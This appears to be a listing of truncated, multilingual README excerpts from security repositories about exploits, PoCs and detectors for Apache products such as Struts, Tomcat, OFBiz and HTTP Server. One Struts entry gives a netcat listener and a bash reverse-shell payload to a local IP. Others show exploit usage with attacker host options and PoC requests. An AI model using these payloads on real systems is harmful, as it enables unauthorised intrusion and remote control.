reversemap

reversemap WebサーバーログからSQLインジェクションの試みを解析します このプログラムはバッチモードまたはインタラクティブモードで実行できます。 バッチモードでは、Apache Webサーバーログを受け取り、ログから要求されたURLの難読化を解除します。 インタラクティブモードでは、ユーザー入力を受け付け、難読化解除された結果を表示します。 このプログラムは以下の難読化手法を解除できます: SQL CHARエンコーディング SQL CASTエンコーディング SQLキーワードの大文字小文字エンコーディング Substring（実験的 -...

reversemap

reversemap Analyse SQL injection attempts in web server logs The program can either be run in batch mode or interactive mode. In batch mode the program will accept Apache web server logs and will deobfuscate requested URLs from the logs. In interactive mode the program will prompt for user input...

CVE-2023-25690

CVE-2023-25690 CVE-2023-25690の説明: Apache HTTP Server バージョン 2.4.0 から 2.4.55 における modproxy の特定の設定は、HTTP Request Smuggling（1人または複数のユーザーから受信したHTTPリクエストチェーンをWebサイトが処理するプロセスに干渉する攻撃手法）を許容します。 これらの設定は、modproxy が特定の RewriteRule または ProxyPassMatch...

artemis2hashcat

artemis2hashcat 描述 用于将 Artemis PBKDF2WithHmacSHA1 哈希转换为 hashcat 格式的 Python3 实现 用法 Apache Artemis 的默认配置是使用 DefaultSensitiveStringCodec，以便将用户密码以 PBKDF2WithHmacSHA1 哈希的形式存储在 "artemis-users.properties" 文件中。 存储在 "artemis-users.properties" 中的哈希通常具有以下形式： username = ENCITERATIONS:SALT:HASH 此 python3 代码...

MAL-003

MAL-003：Apache OfBiz 中的 Groovy 安全绕过与存储型 XSS 已在 Apache OfBiz = 18.12.05 中发现 Groovy RCE 和 XSS 漏洞。 为什么没有 CVE？ Apache OfBiz 不会为其安全页面中提到的“使用演示凭据（尤其是 admin 用户）进行的认证后攻击”创建 CVE。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详情和利用过程可参阅此 PDF。...

CVE-2018-11776

CVE-2018-11776 CVE-2018-11776 / S2-057 の環境 デモ サーバーの起動 $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 エクスプロイト $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

offsec-karaf-exploits

offsec-karaf-exploits 用法： python exploit.py --help 示例： python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf 重新构建 Payload 设置 Felix 框架 1. 创建 lib 目录 mkdir -p ./revshell/lib 2. 下载 Felix Framework 7.0.5 3. 解压缩 zip 压缩包 4. 将...

raven

!https://img.shields.io/badge/CI/MON%20-none.svg?color=5D65B1&url=https://cimon.build&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA2My45OCA2My45NyI+PHBhdGggZD0iTTU5LjM5IDMyLjY4Yy0uNS0uNjUtMi4wMi00LjMzLTIuOTctNy4wNSA5LjQtOC43OC43MS0yMi42Mi05...

CVE-2024-32113

CVE-2024-32113 Apache OFBiz のパストラバーサルにより RCE に至る PoC。 Apache OFBiz における、制限付きディレクトリへのパス名の制限不備（'Path Traversal'）の脆弱性。この問題は Apache OFBiz 18.12.14含まない より前のバージョンに影響します。ユーザーは問題を修正したバージョン 18.12.14 へのアップグレードを推奨されます。 fofa クエリ app="ApacheOFBiz" POC POST /webtools/control/forgotPassword;/ProgramExport...

optionsbleed

optionsbleed Esto es un código de prueba de concepto para comprobar el bug Optionsbleed en Apache httpd CVE-2017-9798. Por favor, considera usar la herramienta Snallygaster en su lugar; incluye una comprobación para optionsbleed: snallygaster -t optionsbleed host uso optionsbleed -h -n N -a -u...

CVE-2026-23918

CVE-2026-23918 Apache modhttp2 Double-Free 検出器 https://github.com/user-attachments/assets/d6c30e58-548c-4b6d-9ba3-baa667238a58 python3 h2ghost.py -h usage: h2ghost.py -h --host HOST --port PORT --tls --no-tls --iterations ITERATIONS --burst-n BURSTN --timeout TIMEOUT --crash-threshold...

CVE-2025-24813

CVE-2025-24813 漏洞利用工具包 这是一个针对 CVE-2025-24813 的先进自动化利用工具，旨在攻击存在不安全会话反序列化漏洞的 Apache Tomcat 服务器。 🔍 功能特性 从文件或单个 URL 进行多目标扫描（--targets / --url） 自动执行 gadget 链测试（CommonsCollections1-7、BeanShell、Spring 等） 操作系统检测与后渗透利用载荷（Linux/Windows） 从常见端点发现会话 ID 详细日志同时输出到控制台和文件 支持 TLS（HTTPS），并可选择禁用 SSL 验证 ⚙️ 使用方法 Single...

struts-splunk

struts-splunk Apache Struts 漏洞与 Splunk...

TRAI-001-Critical-RCE-Vulnerability-in-Apache-Parquet-CVE-2025-30065-Simulation

TRAI-001 CVE-2025-30065: Apache Parquet リモートコード実行（RCE）エクスプロイトシミュレーター デモスクリーンショット エクスプロイトチェーンを示すシミュレーターインターフェース 📌 概要 このリポジトリには、Apache Parquetファイルにおける重大なリモートコード実行（RCE）脆弱性であるCVE-2025-30065の教育用シミュレーション が含まれています。このツールは、攻撃者がこの欠陥を悪用してシステム全体を制御する方法を実演し、緩和策のガイダンスも提供します。 主な特徴： 対話形式のステップバイステップのエクスプロイトシミュレーシ...

CVE-2022-42889-POC

CVE-2022-42889-POC Apache commons-text の脆弱性 CVE-2022-42889 に対する概念実証（PoC）です。 問題の内容 : Apache Commons Text は変数補間を実行し、プロパティを動的に評価・展開できるようにします。補間の標準形式は "$prefix:name" で、"prefix" は補間を実行する org.apache.commons.text.lookup.StringLookup のインスタンスを特定するために使用されます。バージョン 1.5 から 1.9 にかけて、デフォルトの Lookup...

cve-2014-0050

cve-2014-0050 CVE-2014-0050 脆弱なサイトのサンプル このプロジェクトは、教育目的でCVE-2014-0050の悪用を実演することを目的としています。 詳細については、以下を参照してください： https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2014-0050--Exploit-with-Boundaries,-Loops-without-Boundaries/...

CVE-2018-1305

Apache Tomcat セキュリティ回避の脆弱性 最近、ApacheはApache Tomcat 7、8、9の複数のバージョンにセキュリティ回避の脆弱性が存在するというセキュリティアドバイザリを公開しました。攻撃者はこの問題を利用して、特定のセキュリティ制限を回避し、不正な操作を実行する可能性があり、これがさらなる攻撃に寄与する可能性があります。 Apache...

CVE-2018-11776

CVE-2018-11776 の脆弱性のある Docker コンテナ docker pull bhdresh/cve-2018-11776:1.0 docker run -dit -p :8080:8080 bhdresh/cve-2018-11776:1.0 PoC PoC - 1 Request : http://:8080/struts2-showcase-2.3.14/$333+333/help.action Result : http://:8080/struts2-showcase-2.3.14/666/help.action PoC - 2 Request :...

CVE-2021-41773_CVE-2021-42013

Apache HTTP Server 2.4.49, 2.4.50 - パストラバーサル＆RCE Exploit Author: Lucas Souza https://ls4ss.github.io/ Vendor Homepage: https://apache.org/ Version: 2.4.49, 2.4.50 Tested on: 2.4.49, 2.4.50 CVE : CVE-2021-41773, CVE-2021-42013 Credits: Ash Daulton and the cPanel Security Team 使用方法 ./PoC.sh...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 概念実証 PoC Apache Tomcat のデシリアライゼーション脆弱性 CVE-2025-24813 に対する概念実証エクスプロイトです。このツールは、攻撃者が Tomcat のセッション管理における安全でないデシリアライゼーションを悪用する方法を示します。 警告 : このツールは、許可されたセキュリティテストおよび教育目的のみに使用してください。所有していないシステムに対する不正使用は違法です。 機能 デフォルト（安全）ペイロードとカスタムペイロードの両方に対応 SSL/TLS 対応（オプションで検証バイパス可能）...